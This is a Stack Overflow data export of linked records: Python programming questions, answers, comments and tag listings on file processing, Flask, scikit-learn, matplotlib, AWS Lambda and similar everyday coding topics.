has body: I'm using Python version 3.6 on a Windows machine. I'm reading in a text file using with open() and readlines(). After reading in the text file lines, I want to write certain lines to a new text file, but exclude certain ranges of lines. I do not know the line numbers of the lines to exclude. The text files are massive and the range of lines to exclude vary among the text files that I'm reading. There are known keywords I can search for to find the start and end of the range to exclude from the text file I want to write to. I've searched everywhere online but I can't seem to find an elegant solution that works. The following is an example of what I'm trying to achieve. a b BEGIN c d e END f g h i j BEGIN k l m n o p q END r s t u v BEGIN w x y END z In summary, I want to read the above into Python. Afterwards, write to a new file but exclude all lines starting at BEGIN and stopping at END keywords. The new file should contain the following: a b f g h i j r s t u v z
tagged with: text
score: 2
type: AnsweredQuestion
has title: Python 3+, Read In Text File and Write to New File Excluding Range of Lines
downvote count: 0
answer count: 3
tagged with: readfile
favorite count: 0

http://stackoverflow.com/comment/80777802
type: Comment
score: 0
type: AnswerComment
has text: Can modules inherit attributes?
comment on: http://stackoverflow.com/a/46914060

http://stackoverflow.com/q/46945512
type: Question
has comment: http://stackoverflow.com/comment/80878850
answer count: 0
has comment: http://stackoverflow.com/comment/80930626
type: UnansweredQuestion
tagged with: python
has title: Heroku app built with Python and Flask sends JSON response locally, but not on Heroku
tagged with: heroku
score: 0
tagged with: socrata
tagged with: http://stackoverflow.com/tag/json
has body: I have a function that is supposed to return a JSON response when there's a GET request on "/query". When I run my application locally this works fine and I can see the data, but when I run my app on Heroku, I get "[]" instead of the data I'm expecting. I have included my code below: import requests from datetime import date from requests import Response @app.route('/query/') def request(): # These are the desired columns: # ['Latitude', 'Longitude', 'Created Date', 'Agency', 'Agency Name', 'Complaint Type', 'Descriptor'] columns = "latitude,longitude,created_date,agency,agency_name,complaint_type,descriptor" # Get recent service requests (last 6 weeks) today = date.today() time_delta = today - relativedelta(days=1) # Convert datetimes into Floating Timestamps for use with Socrata. today = today.strftime('%Y-%m-%d') + 'T00:00:00' time_delta = time_delta.strftime('%Y-%m-%d') + 'T00:00:00' ''' GET request on Socrata's API. First part is the data set we're using. $limit is set to 500K, because we want 500K records. $select will select the columns we want, as defined earlier. $where allows us to choose the time frame. In this case it's 6 weeks. ''' r = requests.get( "https://data.cityofnewyork.us/resource/fhrw-4uyv.json?" + "$limit=500000&amp;$select={}&amp;".format(columns) + "$where=created_date between \'{}\' and \'{}\' and longitude IS NOT NULL".format(time_delta, today) ) # Create the response response = Response(response=r, status=200, mimetype='application/json') response.headers.add("Access-Control-Allow-Origin", '*') return response

http://stackoverflow.com/comment/80891153
type: AnswerComment
score: 0
has text: Thank you so so much! I believe that calculates the age (which is what I asked for so I will accept the answer) Can I also ask, it does not show the age when I go to Results in Django-admin, do you know how to make age show up as an already-filled-in field in Django-admin (if that made any sense)?
type: Comment
comment on: http://stackoverflow.com/a/46971311

http://stackoverflow.com/a/46913459
downvote count: 0
answers question: http://stackoverflow.com/q/46912557
type: Answer
score: 12
has body: clf.loss_curve_ is not part of the API-docs (although used in some examples). The only reason it's there is because it's used internally for early-stopping. As Tom mentions, there is also some approach to use validation_scores_. Apart from that, more complex setups might need to do a more manual way of training, where you can control when, what and how to measure something. After reading Tom's answer, it might be wise to say: if only inter-epoch calculations are needed, his approach of combining warm_start and max_iter saves some code (and uses more of sklearn's original code). This code here could do intra-epoch calculations (if needed; compare with keras) too. Simple (prototype) example: import numpy as np import matplotlib.pyplot as plt from sklearn.datasets import fetch_mldata from sklearn.neural_network import MLPClassifier np.random.seed(1) """ Example based on sklearn's docs """ mnist = fetch_mldata("MNIST original") # rescale the data, use the traditional train/test split X, y = mnist.data / 255., mnist.target X_train, X_test = X[:60000], X[60000:] y_train, y_test = y[:60000], y[60000:] mlp = MLPClassifier(hidden_layer_sizes=(50,), max_iter=10, alpha=1e-4, solver='adam', verbose=0, tol=1e-8, random_state=1, learning_rate_init=.01) """ Home-made mini-batch learning -&gt; not to be used in out-of-core setting! """ N_TRAIN_SAMPLES = X_train.shape[0] N_EPOCHS = 25 N_BATCH = 128 N_CLASSES = np.unique(y_train) scores_train = [] scores_test = [] # EPOCH epoch = 0 while epoch &lt; N_EPOCHS: print('epoch: ', epoch) # SHUFFLING random_perm = np.random.permutation(X_train.shape[0]) mini_batch_index = 0 while True: # MINI-BATCH indices = random_perm[mini_batch_index:mini_batch_index + N_BATCH] mlp.partial_fit(X_train[indices], y_train[indices], classes=N_CLASSES) mini_batch_index += N_BATCH if mini_batch_index &gt;= N_TRAIN_SAMPLES: break # SCORE TRAIN scores_train.append(mlp.score(X_train, y_train)) # SCORE TEST scores_test.append(mlp.score(X_test, y_test)) epoch += 1 …
upvote count: 12

http://stackoverflow.com/comment/80774841
has text: This is what `arguments` were invented for. Pass an argument to your function, telling it from where it was called.
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/46913827

http://stackoverflow.com/a/47056443
downvote count: 0
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/47056158
has comment: http://stackoverflow.com/comment/81062346
has comment: http://stackoverflow.com/comment/81065234
score: 1
has comment: http://stackoverflow.com/comment/81062768
has body: You should call the super() int the clean method: def clean(self): cleaned_data = super(ProviderForm, self).clean() EDIT: This is not the correct answer, @Alasdair above is. As pointed by @scharette in the comments This is relevant only if your form inherits another that doesn’t return a cleaned_data dictionary in its clean() method. Also, if you're using python 3 there is no need to have parameters

http://stackoverflow.com/comment/81048194
score: 0
type: Comment
has text: That used to work via the `comments` sub field of the `og_object`, https://developers.facebook.com/docs/plugins/faqs#faq_1603507626630008, but https://developers.facebook.com/docs/graph-api/reference/v2.10/url doesn’t mention this any more. Not sure if they removed this.
type: QuestionComment
comment on: http://stackoverflow.com/q/47039809

http://stackoverflow.com/comment/80981519
has text: The `redis` library is not async. `tornadis`, however, is async. I don't see you using `tornadis` api anywhere in you code.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47010763

http://stackoverflow.com/comment/80865375
score: 2
comment on: http://stackoverflow.com/q/46958896
type: Comment
type: QuestionComment
has text: use `setFixedSize(512, 512)`

http://stackoverflow.com/a/47005276
score: 1
has comment: http://stackoverflow.com/comment/80957297
type: Answer
has comment: http://stackoverflow.com/comment/80958190
has comment: http://stackoverflow.com/comment/80958322
has comment: http://stackoverflow.com/comment/80957238
has comment: http://stackoverflow.com/comment/80957141
has comment: http://stackoverflow.com/comment/80958371
type: AcceptedAnswer
downvote count: 0
has body: Extended and optimized solution with BeautifulSoup CSS selectors: from bs4 import BeautifulSoup import requests url = "https://www.glassdoor.com/Reviews/Walmart-Reviews-E715.htm" html_content = requests.get(url, headers={'user-agent': 'Mozilla/5.0'}).content soup = BeautifulSoup(html_content, "lxml") selector = "div#EmployerReviews li.empReview div.cell.reviewBodyCell span[class='showDesk']" for x in soup.select(selector): print(x.parent.text) The output: No opinion of CEO No opinion of CEO No opinion of CEO No opinion of CEO Approves of CEO No opinion of CEO Approves of CEO Approves of CEO Approves of CEO
upvote count: 1
has comment: http://stackoverflow.com/comment/80957152
accepted answer of: http://stackoverflow.com/q/47004520
has comment: http://stackoverflow.com/comment/80957431
has comment: http://stackoverflow.com/comment/80957885
answers question: http://stackoverflow.com/q/47004520

http://stackoverflow.com/q/46923358
score: 0
tagged with: http://stackoverflow.com/tag/json
has body: From the below logs in JSON, I need to parse log lines of "domains" which have "ADMIN_DOWN" status and it didn't change or changed to "ONLINE" from 7 days. Example: Last line from logs shared below: {user=abc,”lastUpdated":"2017-10-15 12:16:40.655569+00","id”:3201,”message”:”sub1.a1.com" new status = ADMIN_DOWN [asda:sdadada]”}, There is a domain: ”sub1.a1.com" in message key and status went "ADMIN_DOWN" but it comes to "ONLINE" in 3rd line of logs. so, we can ignore this as this domain already came "ONLINE". I have to get all log lines which have "ADMIN_DOWN" from past 7 days and same domains have no logs generated with "ONLINE" later. There is also a "id" which is always incrementing with time. Not sure if need to use it. I started with the below code but not sure how to compare these log timestamps with past 7 days with current date. I just added a comment in second last line of code but need to add logic instead. I am thinking if I can convert both timers (current and log timers) to convert in epoch. How to proceed to with code now. I will appreciate any help. #!/usr/bin/python import json with open('file.json') as data_file: data = json.load(data_file) for i in data[‘dump’]: if 'ADMIN_DOWN' in i['message'] and &lt;older than 7 days from current timestamp with same hostname&gt;: print “those log line” JSON LOGS: {“dump”:[ { user=abc,”lastUpdated":"2017-10-24 12:52:40.655569+00","id”:4354,”message”:”sub1.google.com new status = ONLINE [asda:sdadada]”}, {user=abc,”lastUpdated":"2017-10-23 14:38:40.274873+00","id”:4200,”message”:”sub1.adsense.com new status = ADMIN_DOWN [asda:sdadada]”}, {user=abc,”lastUpdated":"2017-10-23 12:16:40.652369+00","id”:4155,”message”:”sub1.a1.com new status = ONLINE [asda:sdadada]”}, {user=abc,”lastUpdated":"2017-10-22 16:46:40.598569+00","id”:4110,”message”:”sub1.b1.com new status = ADMIN_DOWN [asda:sdadada]”}, {user=abc,”lastUpdated":"2017-10-18 12:55:40.132569+00","id”:3599,”message”:”sub1.google.com new status = ONLINE [asda:sdadada…
type: Question
has title: Parsing JSON logs from servers using Python
has answer: http://stackoverflow.com/a/46924053
type: UnansweredQuestion
tagged with: python
answer count: 1
tagged with: python-2.7
tagged with: rest

http://stackoverflow.com/comment/80834603
type: QuestionComment
comment on: http://stackoverflow.com/q/46943536
has text: From your `site-packages` path, it appears you have the 32-bit version of Python. Is your installation of sklearn also the 32-bit version?
score: 0
type: Comment

http://stackoverflow.com/comment/80912931
type: QuestionComment
comment on: http://stackoverflow.com/q/46982699
has text: X_train has 784 features.
score: 0
type: Comment

http://stackoverflow.com/comment/80936373
has text: 2.7, I have updated my question
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46994912

http://stackoverflow.com/comment/80786776
score: 0
comment on: http://stackoverflow.com/q/46917904
type: Comment
has text: ...heck, you could just implement an iterator that returns `(filename, fruit, color)` tuples.
type: QuestionComment

http://stackoverflow.com/q/46988398
upvote count: 2
answer count: 1
downvote count: 0
tagged with: aws-lambda
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/46988421
has answer: http://stackoverflow.com/a/46988421
tagged with: python
linked to: http://stackoverflow.com/q/46937833
has body: I am trying to connect to oracle db by using lambda. I have installed all the dependency in lib and made a zip container Dir structure: ` root/ lib/(client lib) index.py cx_oracle.so* ` import cx_Oracle def handler(event, context): message = "" cursor = None connection = None connection = cx_Oracle.connect("USERNAME", "PASSWORD", "DOMAIN/orcl") cursor = connection.cursor() cursor.execute("""QUERY""") message += " {Error in connection} " + str(e) if cursor: cursor.close() if connection: connection.close() return {'message' : message} Error are: libaio.so and libclntsh.so library not found
type: AnsweredQuestion
score: 2
has title: Error Connecting to Oracle with Lambda using VPC

http://stackoverflow.com/a/46983960
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46983860
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/80915892
has comment: http://stackoverflow.com/comment/80915548
type: Answer
has body: Yes, this is possible, but Pool by default uses the maximum number of available processors, which means the maximum number of tasks that can be accomplished at once. That means if you have 8 processors available convertYears will open 8 at once, then each of those will open 8 (now to a total of 64) when they start convertMonths and each of those will will open 8 (now to a grand total of 512 processes) and all of those will come with the time and memory overhead of creating new processes, all while only 8 will be running anyway. Even if you use Pool(2) to limit each level, you still end up with 8 processes at once, which is exactly where you started. Long story short, the program will be just as fast and your CPU won't hate you if you just stick to parallelizing at one level.
accepted answer of: http://stackoverflow.com/q/46983860
has comment: http://stackoverflow.com/comment/80915636
has comment: http://stackoverflow.com/comment/80915698

http://stackoverflow.com/comment/81553234
type: Comment
type: QuestionComment
has text: Yes, that's correct. I want to obtain the figure only within a specific shapefile. Thanks for your comments, I''ll try to use QGIS instead.
score: 0
comment on: http://stackoverflow.com/q/47009473

http://stackoverflow.com/q/47022755
tagged with: figure
tagged with: python
has title: Matplotlib integer ticks and axis multiplier to be a power of 10
score: 0
has comment: http://stackoverflow.com/comment/81011893
has answer: http://stackoverflow.com/a/68196022
tagged with: matplotlib
answer count: 1
has body: I would like to plot with matplotlib.pyplot. For the ticks at the x-axis I would like to get integer number multiplied by powers of 10. However, what I get is an integer number multiplied by a float and a power of 10, like it is shown in the figure below. Deactivating this behavior with: ax.get_xaxis().get_major_formatter().set_useOffset(False) means that the tick labels will be integers only. For example, I would like the number 35000 to be 35 and the multiplier on the axis to be 10^3 or 3.5 and the multiplier to be 10^4. Not 25 and the multiplier to be 1.4 * 10^3. Update: The code that I used to generate the plot: fig = plt.figure(figsize=(5, 5), dpi=80) ax = fig.add_subplot(111) data = read_data(filename) ax.hist(data, bins=50) x_median = np.median(data) x_std = np.std(data) ax.set_xlim([x_median - 4*x_std, x_median + 4*x_std]) Also, another plot that uses the same code but doesn't have the same issue.
linked to: http://stackoverflow.com/q/3677368
has comment: http://stackoverflow.com/comment/80995023
type: Question
has comment: http://stackoverflow.com/comment/81001032
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80992554

http://stackoverflow.com/a/46918316
upvote count: 41
score: 41
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/46918272
has body: Use itertools.product, your handy library tool for a cartesian product: from itertools import product l1, l2 = [1, 2, 3], ['a', 'b'] output = list(product(l1, l2)) # [(1, 'a'), (1, 'b'), (2, 'a'), (2, 'b'), (3, 'a'), (3, 'b')]

http://stackoverflow.com/comment/80996157
type: QuestionComment
comment on: http://stackoverflow.com/q/47024440
score: 1
has text: what does find_all return? is it a list of strings or a list of Tag objects?
type: Comment

http://stackoverflow.com/comment/80850861
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46951277
score: 0
has text: i have tried this : eq_1 = (-1 * x[0]) + (.25 * x[3]) + x[4] + (0.33 * x[5] ) print eq_1

http://stackoverflow.com/comment/80876901
comment on: http://stackoverflow.com/q/46964271
has text: Why not just `os.system(qsub ...)` (i.e. drop the bash call)?
type: Comment
score: 1
type: QuestionComment

http://stackoverflow.com/a/46961963
has body: I believe that with below change to your code you will get what you want: fig, ax = plt.subplots() for status in data["STATUS"].unique(): entries = data[data["STATUS"] == status] dfPlot = pandas.DataFrame(entries.groupby(pandas.TimeGrouper("D")).size()) dfPlot.columns=[status] dfPlot.plot(ax=ax, figsize=(16,4), legend=True) What happened is that the output for size function gives you a Series type with no name in its column. So creating a Dataframe from the Series and changing the column name does the trick.
type: Answer
answers question: http://stackoverflow.com/q/46955397
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80890082
accepted answer of: http://stackoverflow.com/q/46955397

http://stackoverflow.com/a/46981129
has body: According to this page (https://googlecloudplatform.github.io/google-cloud-python/latest/datastore/usage.html#module-google.cloud.datastore), specifically this part Note Property values which are “text” (‘unicode’ in Python2, ‘str’ in Python3) map to ‘string_value’ in the datastore; values which are “bytes” (‘str’ in Python2, ‘bytes’ in Python3) map to ‘blob_value’. You need to cast to cast to unicode for it to know to have it be a TextProperty. So all I had to do was this byte_counts = json.dumps({ 'upload_bytes_total': 0, 'movie_bytes_total': 0, 'event_bytes_total': 0, 'upload_bytes_total_important': 0, 'movie_bytes_total_important': 0, 'event_bytes_total_important': 0 'events_important_count': 0, 'movies_important_count': 0 'movies_discarded_count': 0 }) rolling_counter.update({ "user_id": user_id, "camera_id": camera_id, "creation_date": dt, "expiration_date": expiration_date, "byte_counts": unicode(byte_counts, "utf-8") # &lt;-- here }) and the datastore now shows that they're being stored as text property.
score: 1
has comment: http://stackoverflow.com/comment/86053234
answers question: http://stackoverflow.com/q/46966875
accepted answer of: http://stackoverflow.com/q/46966875
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/110719804

http://stackoverflow.com/comment/81067847
type: QuestionComment
comment on: http://stackoverflow.com/q/47059642
score: 0
has text: Why negative vote :( ? Is not the question interesting?
type: Comment

http://stackoverflow.com/q/46942336
answer count: 1
downvote count: 0
has body: I have a set of documents that have been cleaned in R using the tm package. Ultimately they were converted to a dataframe and saved as .txt files using the write.table function. I then wrote python code using sklearn and ntlk to classify these documents using a pipeline with a Naive Bayes Classifier (this isn't important) and to dump the predicted outcomes into data frame. The classification works. However, when I recover the predicted labels and the predicted probabilities (using sklearn.pred_proba), I get 2 sets of probabilities for each document. The reason I believe this is happening is because the files that were processed in R have a "doc_id" associated with them, and I believe that the Python classification code I wrote tries to classify the text in the "doc_id" as well as the actual text in the file, so that instead of an ndarray with dimensions [1,3] when classifying a single document into the 3 categories I recover an ndarray with dimensions [2,3]. I have read the documentation on tm, sklearn, and ntlk, and I have read all of the stack exchange blogposts that came up under my search terms, but I cannot figure out how to either: 1) remove the doc_id from the R files 2) have sklearn model.predict and model.predict_proba classify only the text and not the doc_id. Any help you could offer would be great. This seems like it should be an easy fix, but none of the solutions I have tried so far have fixed it, including using the CategorizedPlaintextCorpusReader function in python to extract the raw text using reader.raw because the model.predict function won't accept a series of strings, which is the object reader.raw produces. My python code that might be useful: import nltk from nltk.corpus.reader import CategorizedPlaintextCorpusReader from sklearn.naive_bayes import MultinomialNB from sklearn.feature_extraction.text import CountVectorizer from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.feature_extraction.text import TfidfTransformerCle…
tagged with: document
has comment: http://stackoverflow.com/comment/80834384
has comment: http://stackoverflow.com/comment/80832659
upvote count: 1
has comment: http://stackoverflow.com/comment/80832397
favorite count: 0
type: Question
has title: Categorizing R Corpuses using NLTK and SKLEARN
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/80832703
tagged with: http://stackoverflow.com/tag/r
has comment: http://stackoverflow.com/comment/80852045
has comment: http://stackoverflow.com/comment/80832170
has comment: http://stackoverflow.com/comment/80832381
score: 1
tagged with: classification
has answer: http://stackoverflow.com/a/46959247

http://stackoverflow.com/comment/80993039
has text: @StefanPochmann: yes, I added both. I do see that the currently posted version returns `0`, not `None`, but they likely had a version that omitted the the second `return`.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47022941

http://stackoverflow.com/q/46951433
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
has comment: http://stackoverflow.com/comment/80850273
tagged with: selenium-webdriver
type: AnsweredQuestion
upvote count: 0
has title: Not writing to csv correctly
tagged with: selenium
accepted answer: http://stackoverflow.com/a/46951760
tagged with: web-scraping
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/80849806
has answer: http://stackoverflow.com/a/46951760
favorite count: 0
score: -1
has body: I am writing to a csv file. It displays correctly in console, however when I open the csv file it is not displayed the Href correctly. The rest of the job is working fine this is the only issue. Code: elems = driver.current_url for elem in elems: print(elems) print(("NEW LINE BREAK")) import sys import io with open('vtg121.csv', 'a', newline='', encoding="utf-8") as outfile: writer = csv.writer(outfile) for row in zip(langs_text, langs1_text, langs2_text, langs3_text, elems): print(row) writer.writerow(row)
type: Question

http://stackoverflow.com/q/46961022
tagged with: multithreading
answer count: 1
downvote count: 1
has body: I am pulling data from tables and writing into files. Here I have to pull data from 11 tables and then write into files. So currently what I am doing, def get_data_from_table_to_txt(con, sql, filename): cur = con.cursor() cur.execute(sql) with open(filename, 'w') as fp: for row in cur.fetchall(): fp.write(row) get_data_from_table_to_txt(con, sql1, filename1) get_data_from_table_to_txt(con, sql2, filename2) get_data_from_table_to_txt(con, sql3, filename3) get_data_from_table_to_txt(con, sql4, filename4) get_data_from_table_to_txt(con, sql5, filename5) . . . If you seen above code, It is fetching table and then writing into file. And this process is sequential unloading data.This process is very slow. So I am thinking to implement multi-threading. is the multi-threading good for this process ?
has title: Which is the best way to write data into files?
favorite count: 0
tagged with: multiprocessing
has answer: http://stackoverflow.com/a/46961416
tagged with: io
tagged with: python
score: -1
tagged with: concurrency
type: Question
upvote count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/80893365
has text: No, just only one operator in 's' at random. In my example I need to replace ('>' or '<' or '==' or '<'). The 's' could contain random set of operators, but all possible operators are defined a priory. So yes, replacement could be any operator.
score: 0
comment on: http://stackoverflow.com/q/46970394
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47022279
score: 1
tagged with: matplotlib
answer count: 1
tagged with: python
has body: I'm trying to create subplots of barplots. matplotlib is funny with labeling the x axis of barplots so you need to pass an index then use the xticks function to pass the labels. I want to create 2 subplots that each have the same x axis labels but with the code below I can only pass the labels onto the last bar plot. My question is how can I pass the labels to both bar plots? fig, axes = plt.subplots(nrows=2, ncols=1, figsize=(18,15)) r1 = axes[0].bar(idx, data1, align='center') axes[0].set_title('title1') r2 = axes[1].bar(idx, data2, align='center') axes[1].set_title('title2') plt.xticks(idx, idx_labels, rotation=45)
type: Question
has answer: http://stackoverflow.com/a/47022571
has title: Passing same x axis label to matplotlib subplots of barplots
upvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/47022571
type: AnsweredQuestion
downvote count: 0

http://stackoverflow.com/q/46999118
tagged with: python
tagged with: ansible
score: 2
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/68219324
downvote count: 0
answer count: 1
tagged with: amazon-web-services
has title: How to set AWS API gateway integration request to lambda function correctly using Ansible?
tagged with: aws-lambda
favorite count: 0
type: Question
has body: I'm trying to create a straightforward Python lambda function connected to API gateway using Ansible. I've got everything setup to work correctly, except the API gateway always adds a colon and an integer to the lambda function arn. When calling the API, I get internal server error. If I simply remove this additional integer (the version number I believe) on the web console and redeploy I get the expected response when calling the API. However, I'd really like to have this fully automatic with Ansible, but can't see how to correctly choose the lambda function version when setting up the API gateway. How do I set the lambda function name for the API gateway in Ansible, without it appending a version number? Ansible code: - name: Create API gateway aws_api_gateway: state: present aws_access_key: "{{ aws_access_key_id }}" aws_secret_key: "{{ aws_secret_access_key }}" region: "{{ aws_region }}" swagger_file: roles/aws-api-proxy/templates/swagger_complete.j2 stage: production deploy_desc: Production Deployment register: apigateway_result My swagger file: --- swagger: "2.0" info: version: "2017-10-27T10:39:47Z" title: "apiproxyfunction" basePath: "/prod" schemes: - "https" paths: /submit: post: produces: - "application/json" responses: 200: description: "200 response" schema: $ref: "#/definitions/Empty" x-amazon-apigateway-integration: responses: default: statusCode: "200" uri: "arn:aws:apigateway:eu-west-1:lambda:path/2015-03-31/functions/{{ lambda_result.configuration.function_arn }}/invocations" passthroughBehavior: "when_no_match" httpMethod: "POST" contentHandling: "CONVERT_TO_TEXT" type: "aws_proxy" definitions: Empty: type: "object" title: "Empty Schema" The {{ lambda_result.configuration.function_arn }} variable is taken from when I create the lambda function which is like this: arn:aws:lambda:eu-west-1:MYACCOUNTID:function:apiproxyfunctionXYZ However, in the web console, the API gateway resource section; lambda integration request Lambda Function ends up being- a…
tagged with: swagger

http://stackoverflow.com/a/47168641
has body: As Phillip suggested in the comment section, the solid workaround is to add the following VBA code to the 'ThisWorkbook' module: Private Sub Workbook_Open() Application.CalculateFull End Sub It launches a full recalculation as soon as the workbook is opened. Still, it would be great if xlwings worked smoothly without any tinkering. Such a great package, in my opinion, the only thing that stops it from more widespread adoption is problems with distribution. Unfortunately, I can't upvote Phillip's comment, can't thank him enough.
answers question: http://stackoverflow.com/q/47019104
type: Answer
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47019104

http://stackoverflow.com/comment/80926881
type: QuestionComment
comment on: http://stackoverflow.com/q/46989813
score: 0
has text: If performance is a requirement, it might be also be faster to operate on the `np.ndarray`, using something like `(df.A.values == 'foo').mean()`; compared to `(df.A == 'foo').mean()`, that saves about a factor of three on a 10000000 row data frame here.
type: Comment

http://stackoverflow.com/a/46915157
downvote count: 0
type: Answer
upvote count: 1
has body: I think you are looking for ngroup, cumcount and mapping i.e x = df.groupby('date') d = {5: 20, 51: 23.5, 54: 10} df['new'] = (x.cumcount()+x.ngroup())*10 +df['id'].map(d)+df['value'] Output : date id value new 0 1/1/2017 5 300 320.0 1 1/1/2017 51 300 333.5 2 1/1/2017 54 300 330.0 3 1/2/2017 5 100 130.0 4 1/2/2017 51 100 143.5 5 1/2/2017 54 100 140.0 Explanation (x.cumcount()+x.ngroup() 0 0 1 1 2 2 3 1 4 2 5 3 (x.cumcount()+x.ngroup())*10 +df['value'] 0 300 1 310 2 320 3 110 4 120 5 130 dtype: int64
answers question: http://stackoverflow.com/q/46914889
score: 1

http://stackoverflow.com/a/57454947
type: Answer
has body: simple way is to move your files to be read under the same folder of your python file, then you just need to use the name of the file, without calling another path.
downvote count: 0
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/46972225

pyqt5
tags question: http://stackoverflow.com/q/47046823
tags question: http://stackoverflow.com/q/47030709
tags question: http://stackoverflow.com/q/47044290
type: Tag
tags question: http://stackoverflow.com/q/46945438
tags question: http://stackoverflow.com/q/46937135
tags question: http://stackoverflow.com/q/47041271
tags question: http://stackoverflow.com/q/47040409
tags question: http://stackoverflow.com/q/46913746
tags question: http://stackoverflow.com/q/46981433
tags question: http://stackoverflow.com/q/46945997
tags question: http://stackoverflow.com/q/46990848
tags question: http://stackoverflow.com/q/47002808
tags question: http://stackoverflow.com/q/47041924
tags question: http://stackoverflow.com/q/47062681
tags question: http://stackoverflow.com/q/46959740
tags question: http://stackoverflow.com/q/46993800
tags question: http://stackoverflow.com/q/47020995
tags question: http://stackoverflow.com/q/46934526
tags question: http://stackoverflow.com/q/46958767
tags question: http://stackoverflow.com/q/47050665
tags question: http://stackoverflow.com/q/47041212
tag name: pyqt5
tags question: http://stackoverflow.com/q/46924610
tags question: http://stackoverflow.com/q/46986431
tags question: http://stackoverflow.com/q/46908327
tags question: http://stackoverflow.com/q/47038091
tags question: http://stackoverflow.com/q/46982374
tags question: http://stackoverflow.com/q/47064174
tags question: http://stackoverflow.com/q/46949430
tags question: http://stackoverflow.com/q/46973384

http://stackoverflow.com/q/47048561
upvote count: 1
favorite count: 0
type: Question
tagged with: cpython
has comment: http://stackoverflow.com/comment/81044148
tagged with: python
has comment: http://stackoverflow.com/comment/81044396
accepted answer: http://stackoverflow.com/a/47061942
has answer: http://stackoverflow.com/a/47061942
type: AnsweredQuestion
has title: Why CPython call len(iterable) when executing func(*iterable)?
has body: Recently I'm writing a download program, which uses the HTTP Range field to download many blocks at the same time. I wrote a Python class to represent the Range (the HTTP header's Range is a closed interval): class ClosedRange: def __init__(self, begin, end): self.begin = begin self.end = end def __iter__(self): yield self.begin yield self.end def __str__(self): return '[{0.begin}, {0.end}]'.format(self) def __len__(self): return self.end - self.begin + 1 The __iter__ magic method is to support the tuple unpacking: header = {'Range': 'bytes={}-{}'.format(*the_range)} And len(the_range) is how many bytes in that Range. Now I found that 'bytes={}-{}'.format(*the_range) occasionally causes the MemoryError. After some debugging I found that the CPython interpreter will try to call len(iterable) when executing func(*iterable), and (may) allocate memory based on the length. On my machine, when len(the_range) is greater than 1GB, the MemoryError appears. This is a simplified one: class C: def __iter__(self): yield 5 def __len__(self): print('__len__ called') return 1024**3 def f(*args): return args &gt;&gt;&gt; c = C() &gt;&gt;&gt; f(*c) __len__ called Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; MemoryError &gt;&gt;&gt; # BTW, `list(the_range)` have the same problem. &gt;&gt;&gt; list(c) __len__ called Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; MemoryError So my questions are: Why CPython call len(iterable)? From this question I see you won't know an iterator's length until you iterate throw it. Is this an optimization? Can __len__ method return the 'fake' length (i.e. not the real number of elements in memory) of an object?
linked to: http://stackoverflow.com/q/3345785
has comment: http://stackoverflow.com/comment/81044358
score: 1
downvote count: 0
answer count: 1

http://stackoverflow.com/a/46990063
has body: In search of a more "compact" way of expressing it, I got this - v = np.zeros((5, 5)) v[tuple(np.r_[idx1,idx1[:,::-1]].T)] = 1 v[tuple(np.r_[idx2,idx2[:,::-1]].T)] = 0 On python3.6+, you can use the * unpacking operator to reduce this further: v[[*np.r_[idx1,idx1[:,::-1]].T]] = 1 v[[*np.r_[idx2,idx2[:,::-1]].T]] = 0 v array([[ 0., 0., 0., 1., 0.], [ 0., 0., 0., 0., 0.], [ 0., 0., 0., 0., 1.], [ 1., 0., 0., 0., 0.], [ 0., 0., 1., 0., 0.]])
score: 1
type: Answer
answers question: http://stackoverflow.com/q/46989880
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80926754
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80926762
accepted answer of: http://stackoverflow.com/q/46989880

http://stackoverflow.com/comment/80863379
type: QuestionComment
comment on: http://stackoverflow.com/q/46957953
score: 0
type: Comment
has text: Which version of Python and Theano you use?

http://stackoverflow.com/comment/81060042
type: AnswerComment
has text: wow, this didn't work until I realized that there should be a comma after `self.point,` and `self.line,` and it worked. I do get a warning saying: `MatplotlibDeprecationWarning: Using default event loop until function specific to this GUI is implemented warnings.warn(str, mplDeprecation)`. Some say I can use `plt.draw()` before `plt.pause(0.0001)` but didn't work. How do I avoid this warning?
score: 0
comment on: http://stackoverflow.com/a/47040488
type: Comment

http://stackoverflow.com/a/47041995
upvote count: 1
score: 1
type: Answer
downvote count: 0
has body: You can try an assertion before the assignement: def test_some_class_to_string(): some_class = SomeClass() assert some_class.foo and some_class.bar some_class.foo = 'bar' some_class.monkey_patched = 'baz' assert str(some_class) == 'barbaz'
answers question: http://stackoverflow.com/q/47041257

http://stackoverflow.com/a/46992332
answers question: http://stackoverflow.com/q/46980835
score: 6
upvote count: 6
downvote count: 0
